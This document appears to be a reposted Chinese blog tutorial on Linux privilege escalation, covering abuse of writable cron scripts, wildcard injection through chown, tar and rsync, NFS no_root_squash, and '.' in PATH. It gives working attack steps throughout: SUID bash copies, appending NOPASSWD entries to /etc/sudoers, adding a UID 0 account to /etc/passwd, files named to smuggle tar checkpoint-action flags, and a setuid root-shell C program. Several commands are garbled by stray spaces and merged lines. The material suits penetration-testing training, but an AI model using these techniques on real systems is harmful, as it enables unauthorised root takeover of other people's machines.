1. Cronjob中是否有可寫的腳本或二進制文件?
2.我們可以覆蓋cron文件本身嗎?
3. cron.d目錄可寫嗎?

Cronjob通常以root特權運行。如果我們可以成功篡改cronjob中定義的任何腳本或二進制文件,那麼我們可以以root特權執行任意代碼。

什麼是Cronjob?

Cron Jobs被用於通過在服務器上的特定日期和時間執行命令來安排任務。它們最常用於sysadmin任務,如備份或清理/tmp/目錄等。Cron這個詞來自crontab,它存在於/etc目錄中。

例如:在crontab內部,我們可以添加以下條目,以每1小時自動打印一次apache錯誤日誌。

1 1 0 * * * printf “” > /var/log/apache/error_log

前五個數字值表示執行cronjob的時間。現在讓我們瞭解五個數字值。

  • 分鐘–第一個值表示介於0到59之間的分鐘範圍,而*表示任何分鐘。

  • 小時–第二個值表示小時範圍在0到24之間,*表示任何小時。

  • 月中的某天–第三個值表示月中的某日,範圍是1到31,*表示任何一天。

  • 月–第四個值表示1到12之間的月份範圍,*表示任何月份。

  • 星期幾–第五個值表示從星期天開始的星期幾,介於0到6之間,*表示星期幾。

簡而言之呢,crontab就是一個自定義定時器。

Cron特權升級概述

cron守護程序計劃在指定的日期和時間運行命令。它與特定用戶一起運行命令。因此,我們可以嘗試濫用它來實現特權升級。

濫用cron的一個好方法是,

1.檢查cron運行的腳本的文件權限。如果權限設置不正確,則攻擊者可能會覆蓋文件並輕鬆獲取cron中設置的用戶權限。

2.另一種方法是使用通配符技巧

Cron**信息收集**

一些基本命令收集一些線索,以使用錯誤配置的cron實現特權升級。

命令 結果
crontab -l 顯示當前用戶的cron
ls -la /etc/cron* 顯示計劃的作業概述

具有特權的運行腳本,其他用戶可以編輯該腳本。

查找特權用戶擁有但可寫的任何內容:

crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/croncat /etc/croncat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

查看其他用戶的crontab

$ crontab -u tstark -l0 0  / jarvis / reboot-arc-reactor

如果服務器上有很多用戶,那麼可以在cron日誌中看到詳細信息,可能包含用戶名。

例如,在這裏我可以看到運行數據庫備份腳本的ubuntu用戶:

8月5日4:05:01 dev01 CRON [2128]:(ubuntu)CMD(/var/cronitor/database-backup.sh)

使用pspy工具(32位爲pspy3264位爲pspy64)。

下載鏈接:https://github.com/DominicBreuker/pspy

利用配置錯誤的cronjob獲得root訪問權限

$ ls -la /etc/cron.d –輸出cron.d中已經存在的cronjob

find / -perm -2 -type f 2> / dev / null –輸出可寫文件

ls -la /usr/local/sbin/cron-logrotate.sh –讓我們確認cron-logrotate.sh是否可寫。

我們知道cron-lograte.sh是可寫的,它由logrotate cronjob運行。

那麼我們在cron-lograte.sh中編寫/附加的任何命令都將以“ root”身份執行。

我們在/ tmp目錄中編寫一個C文件並進行編譯。

rootme可執行文件將生成一個shell。

$ ls -la rootme –它告訴我們它是由用戶'SHayslett'擁有的
$ echo“ chown root:root / tmp / rootme; chmod u + s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh –這將更改可執行文件的所有者和組爲root。它還將設置SUID位。$ ls -la rootme – 5分鐘後,運行了logrotate cronjob,並以root特權執行了cron-logrotate.sh。$ ./rootme –生成一個root shell。

Cron腳本覆蓋和符號鏈接

如果可以修改由root執行的cron腳本,則可以非常輕鬆地獲取shell:

echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > #Wait until it is executed/tmp/bash -p#等待執行

/ tmp / bash -p

如果root用戶執行的腳本使用具有完全訪問權限目錄,則刪除該文件夾並創建一個符號鏈接文件夾到另一個服務於您控制的腳本的文件夾可能會很有用。

ln -d -s < / PATH / TO / POINT > < / PATH / CREATE / FOLDER >

定時任務

可以監視進程以搜索每1,2或5分鐘執行的進程。可以利用它並提升特權。

例如,要在1分鐘內每隔0.1s監視一次按執行次數較少的命令排序並刪除一直執行的命令,可以執行以下操作:

for i in $(seq 1 610); do ps -e —format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v “[“ | sed ‘/^.{200}./d’ | sort | grep -E -v “\s[6-9][0-9][0-9]|\s[0-9][0-9][0-9][0-9]”; rm /tmp/monprocs.tmp;

總結

由於Cron在執行時以root身份運行/etc/crontab,因此crontab調用的任何命令或腳本也將以root身份運行。當Cron執行的腳本可由非特權用戶編輯時,那些非特權用戶可以通過編輯此腳本並等待Cron以root特權執行該腳本來提升其特權!

例如,假設下面的行在中/etc/crontab。每天晚上9:30,Cron運行maintenance.shshell腳本。該腳本在root特權下運行。

30 21 * root /path/to/maintenance.sh

現在讓我們說該maintenance.sh腳本還可以由所有人編輯,而不僅僅是root用戶。在這種情況下,任何人都可以將命令添加到maintenance.sh,並使該命令由root用戶執行!

這使得特權升級變得微不足道。例如,攻擊者可以通過將自己添加爲Sudoer來向自己授予超級用戶特權。

echo “vickie ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

或者,他們可以通過將新的root用戶添加到“ / etc / passwd”文件來獲得root訪問權限。由於“ 0”是root用戶的UID,因此添加UID爲“ 0”的用戶將爲該用戶提供root特權。該用戶的用戶名爲“ vickie”,密碼爲空:

echo “vickie::0:0:System Administrator:/root/root:/bin/bash” >> /etc/passwd

等等。

0x009 linux提權-通配符注入

通配符是代表其他字符的符號。您可以將它們與任何命令(例如cat或rm命令)一起使用,以列出或刪除符合給定條件的文件。還有其他一些,但是現在對我們很重要的一個是*字符,它可以匹配任意數量的字符。

例如:

  • cat 顯示當前目錄中所有文件的內容

  • rm 刪除當前目錄中的所有文件

它的工作原理是將角色擴展到所有匹配的文件。如果我們有文件a,b並且c在當前目錄中並運行rm ,則結果爲rm a b c。

原理

衆所周知,我們可以在命令行中將標誌傳遞給程序以指示其應如何運行。例如,如果我們使用rm -rf而不是,rm那麼它將遞歸併強制刪除文件,而無需進一步提示。

現在,如果我們運行rm 並在當前目錄中有一個名爲name的文件,將會發生什麼-rf?的Shell擴展將導致命令變爲,rm -rf a b c並且-rf將被解釋爲命令參數。

當特權用戶或腳本在具有潛在危險標誌的命令中使用通配符時,尤其是與外部命令執行相關的通配符,這是一個壞消息。在這些情況下,我們可能會使用它來升級特權。

chown和chmod

chown和chmod都可以用相同的方式利用,因此我只看看chown。

Chown是一個程序,可讓您更改指定文件的所有者。以下示例將some-file.txt的所有者更改爲some-user:

chown some-user some-file.txt

Chown具有一個—reference=some-reference-file標誌,該標誌指定文件的所有者應與參考文件的所有者相同。一個例子應該有幫助:

chown some-user some-file.txt —reference=some-reference-file

假設的所有者some-reference-file是another-user。在這種情況下,所有者some-file.txt將another-user代替some-user。

利用

假設我們有一個名爲弱勢程序的脆弱程序,其中包含以下內容:

cd some-directorychown root *

在這種情況下,讓我們創建一個我們擁有的文件:

cd some-directory touch reference

然後我們創建一個文件,將注入標記:

touch — —reference=reference

如果在同一目錄中創建到/ etc / passwd的符號鏈接,則/ etc / passwd的所有者也將是您,這將使您獲得root shell。

其他

TAR

Tar是一個程序,可讓您將文件收集到存檔中。

在tar中,有“檢查點”標誌,這些標誌使您可以在歸檔指定數量的文件後執行操作。由於我們可以使用通配符注入來注入那些標誌,因此我們可以使用檢查點來執行我們選擇的命令。如果tar以root用戶身份運行,則命令也將以root用戶身份運行。

鑑於存在此漏洞,獲得root用戶特權的一種簡單方法是使自己成爲sudoer。sudoer是可以承擔root特權的用戶。這些用戶在/etc/sudoers文件中指定。只需在該文件上追加一行,我們就可以使自己變得更輕鬆。

利用

假設我們有一個易受攻擊的程序,並且使用cron定期運行該程序。該程序包含以下內容:

cd important-directorytar cf /var/backups/backup.tar *

進行根訪問的步驟如下:

1)注入一個標誌來指定我們的檢查點

首先,我們將指定在歸檔一個文件之後,有一個檢查點。稍後我們將對該檢查點執行操作,但是現在我們僅告訴tar它存在。

讓我們創建一個將注入標記的文件:

cd important-directorytouch — —checkpoint=1

2)編寫惡意的Shell腳本

Shell腳本將/etc/sudoers在其後追加代碼,這會使您變得更加無禮。

您需要添加到的行/etc/sudoers是my-user ALL=(root) NOPASSWD: ALL。

讓我們創建shell腳本:

echo ‘echo “my-user ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > demo.sh

Shell腳本應與通配符位於同一目錄中。

請注意,我們將必須更改my-user爲要成爲sudoer的實際用戶。

3)注入一個指定檢查點動作的標誌

現在,我們將指定,當tar到達在步驟#1中指定的檢查點時,它應運行在步驟#2中創建的shell腳本:

touch — “—checkpoint-action=exec=sh demo.sh”

4root

等待,直到cron執行了腳本並通過鍵入以下內容獲得root特權:

sudo su

rsync

Rsync是“快速,通用,遠程(和本地)文件複製工具”,在linux系統上非常常見。

與rsync一起使用的一些有趣的標誌是:

-e, —rsh=COMMAND           specify the remote shell to use     —rsync-path=PROGRAM    specify the rsync to run on remote machine

我們可以使用該-e標誌來運行所需的任何Shell腳本。讓我們創建一個shell腳本,它將我們添加到sudoers文件中:

echo ‘echo “my-user ALL=(root) NOPASSWD: ALL” >> /etc/sudoers’ > shell.sh

現在讓我們注入將運行我們的shell腳本的標誌:

touch — “-e sh shell.sh”

0x0010 Linux提權-NFS權限弱

如果您在linu服務器上具有低特權shell,並且發現服務器中具有NFS共享,則可以使用它來升級特權。但是成功取決於它的配置方式。

目錄

    1. 什麼是NFS?

    2. 什麼是root_sqaush和no_root_sqaush?

    3. 所需的工具和程序文件。

    4. 利用NFS弱權限。

什麼是NFS?

網絡文件系統(NFS)是一個客戶端/服務器應用程序,它使計算機用戶可以查看和選擇存儲和更新遠程計算機上的文件,就像它們位於用戶自己的計算機上一樣。在NFS協議是幾個分佈式文件系統標準,網絡附加存儲(NAS)之一。

NFS是基於UDP/IP協議的應用,其實現主要是採用遠程過程調用RPC機制,RPC提供了一組與機器、操作系統以及低層傳送協議無關的存取遠程文件的操作。RPC採用了XDR的支持。XDR是一種與機器無關的數據描述編碼的協議,他以獨立與任意機器體系結構的格式對網上傳送的數據進行編碼和解碼,支持在異構系統之間數據的傳送。

什麼是root_sqaush和no_root_sqaush?

Root Squashing(root_sqaush)參數阻止對連接到NFS卷的遠程root用戶具有root訪問權限。遠程根用戶在連接時會分配一個用戶“ nfsnobody”,它具有最少的本地特權。如果no_root_squash選項開啓的話”,併爲遠程用戶授予root用戶對所連接系統的訪問權限。在配置NFS驅動器時,系統管理員應始終使用“ root_squash”參數。

注意:要利用此,**no_root_squash選項得開啓**。

利用NFS並獲取Root Shell

現在,我們拿到了一個低權限的shell,我們查看“ / etc / exports ”文件。

/ etc / exports文件包含將哪些文件夾/文件系統導出到遠程用戶的配置和權限。

這個文件的內容非常簡單,每一行由拋出路徑,客戶名列表以及每個客戶名後緊跟的訪問選項構成:[共享的目錄] [主機名或IP(參數,參數)]其中參數是可選的,當不指定參數時,nfs將使用默認選項。默認的共享選項是 sync,ro,root_squash,no_delay。當主機名或IP地址爲空時,則代表共享給任意客戶機提供服務。當將同一目錄共享給多個客戶機,但對每個客戶機提供的權限不同時,可以這樣:[共享的目錄] [主機名1或IP1(參數1,參數2)] [主機名2或IP2(參數3,參數4)]

我們可以看到/ tmp 文件夾是可共享的,遠程用戶可以掛載它。還有不安全的參數“ rw ”(讀,寫),“ sync ”和“ no_root_squash

同樣我們也可以使用 showmount命令來查看。

showmount命令用於查詢NFS服務器的相關信息

showmount —help

Usage: showmount [-adehv]

[—all] [—directories] [—exports]

[—no-headers] [—help] [—version] [host] -a或—all

以 host:dir 這樣的格式來顯示客戶主機名和掛載點目錄。

-d或—directories    僅顯示被客戶掛載的目錄名。

-e或—exports    顯示NFS服務器的輸出清單。

-h或—help    顯示幫助信息。

-v或—version    顯示版本信。

—no-headers    禁止輸出描述頭部信息。顯示NFS客戶端信息 #

showmount 顯示指定NFS服務器連接NFS客戶端的信息

# showmount 192.168.1.1  #此ip爲nfs服務器的 顯示輸出目錄列表
# showmount -e 顯示指定NFS服務器輸出目錄列表(也稱爲共享目錄列表)
# showmount -e 192.168.1.1 顯示被掛載的共享目錄
# showmount -d   顯示客戶端信息和共享目錄
# showmount -a 顯示指定NFS服務器的客戶端信息和共享目錄
# showmount -a 192.168.1.1

這裏不多說了

我們接下來在我們的攻擊機上安裝客戶端工具

需要執行以下命令,安裝nfs-common軟件包。apt會自動安裝nfs-common、rpcbind等12個軟件包

sudo apt install nfs-commonapt-get install cifs-utils

然後輸入命令

showmount -e [IP地址]

創建目錄以掛載遠程系統。

mkdir / tmp / test

在**/tmp/test上裝載Remote/tmp**文件夾:

mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

然後在/tmp/test/中。新建一個c文件。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash”); return 0; }’ > /tmp/test/suid-shell.c

編譯:

gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

賦權:

chmod + s /tmp/test/suid-shell.c

好的,我們回到要提權的服務器上

cd / tmp./suid-shell

可以看到是ROOT權限了

0x0011 linux提權-利用“.”路徑配置錯誤

有“.” 在PATH中表示用戶可以從當前目錄執行二進制文件/腳本。但是一些管理員爲了避免每次都必須輸入這兩個額外的字符,他們在用戶中添加“。”在他們的PATH中。對於攻擊者而言,這是提升其特權的絕佳方法。

放置.路徑

如果在PATH中放置點,則無需編寫./binary即可執行它。那麼我們將能夠執行當前目錄中的任何腳本或二進制文件。

假設小明是管理員,而她添加了“。” 在她的PATH上,這樣她就不必再輸入兩個字符了去執行腳本或二進制文件。

帶“。” 在路徑中–program

不帶“。” 在路徑中-./program

發生這種情況是因爲Linux首先在“.”位置搜索程序。但是添加到PATH的開頭後,就在其他任何地方搜索。

另一個用戶“小白”知道小明添加了“.” 在PATH中,

小白告訴小明’ls’命令在他的目錄中不起作用

小白在他的目錄中添加代碼,這將更改sudoers文件並使他成爲管理員

小白將該代碼存儲在名爲“ ls”並使其可執行

小明具有root特權。她來了,並在小白的主目錄中執行了’ls’命令

惡意代碼不是通過原始的’ls’命令而是通過root訪問來執行

在另存爲“ ls”的文件中,添加了一個代碼,該代碼將打印“ Hello world”

$ PATH = .:$ {PATH} –添加’.’ 在PATH變量中

$ ls –執行的./ls文件,而不是運行列表命令。

現在,如果root用戶以root特權執行代碼,我們可以使用root特權實現任意代碼執行。

程序員專欄 掃碼關注填加客服 長按識別下方二維碼進羣

近期精彩內容推薦:  

 看電影前一定要檢查一下域名是不是HTTPS的

 有個大神級女朋友是什麼體驗

 世界上五個最不務正業的科學家!

 魂鬥羅只有128KB爲何可以實現那麼長的劇情


在看點這裏好文分享給更多人↓↓

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章